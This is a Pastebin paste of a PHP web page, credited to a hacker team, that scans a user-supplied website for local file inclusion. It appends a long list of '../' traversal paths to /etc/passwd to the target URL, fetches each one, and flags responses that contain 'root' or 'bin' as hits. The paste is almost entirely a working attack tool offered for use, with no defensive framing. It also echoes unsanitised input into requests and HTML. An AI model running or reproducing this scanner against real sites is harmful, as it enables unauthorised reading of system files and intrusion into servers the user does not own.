Guest User

Untitled

a guest
Dec 14th, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.92 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <!--
  4. Coded By Colder !
  5. AnarchyGhost[BR]
  6.  
  7. Facebook: https://www.facebook.com/cold3rghostman
  8. Team: https://www.facebook.com.br/AnarquiaFantasma
  9.  
  10. Skype: colder.ghostman
  11. -->
  12. <head>
  13. <title>Verify LFI</title>
  14. <meta charset="utf-8"/>
  15. <link href='https://fonts.googleapis.com/css?family=Montserrat' rel='stylesheet' type='text/css'>
  16. <style type="text/css">
  17. h1 {
  18. margin-top: -3px;
  19. color: lime;
  20. }
  21. body {
  22. font-family: 'Montserrat', sans-serif;
  23. background: black;
  24. }
  25. input[type="text"] {
  26. height: 42px;
  27. width: 300px;
  28. text-align: center;
  29. font-size: 15px;
  30. background: black;
  31. color: lime;
  32. border-color: lime;
  33. }
  34. input[type="submit"] {
  35. background: #222;
  36. width: 50px;
  37. height: 49px;
  38. border-color: lime;
  39. }
  40. a {
  41. text-decoration: none;
  42. }
  43. </style>
  44. </head>
  45. <body>
  46. <fieldset>
  47. <center>
  48. <h1>Verify Local File Inclusion</h1>
  49. <form method="POST">
  50. <input type="text" name="site" placeholder="Site: ">
  51. <input type="submit" value=">>">
  52. </center>
  53. <br>
  54. <?php
  55. if(isset($_POST["site"])) {
  56. $site = $_POST["site"];
  57.  
  58. echo "<hr>";
  59.  
  60. $fails = ["/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd"];
  61.  
  62. foreach($fails as $values) {
  63. $var = $site.$values;
  64. $file = file_get_contents($var);
  65.  
  66. if(eregi('root',$file) or eregi('bin',$file) or eregi('ftp',$file) or eregi('System',$file)) {
  67. echo "<a href='$var' target='_blanck'><font color='blue'>[+] $var</font></a>" . "<br>";
  68. }else {
  69. echo "<a href='$var' target='_blanck'><font color='red'>[-] $var</font></a>" . "<br>";
  70. }
  71. }
  72.  
  73. echo "<hr>";
  74. }
  75. ?>
  76. </form>
  77. </fieldset>
  78. </body>
  79. </html>
Advertisement
Add Comment
Please, Sign In to add comment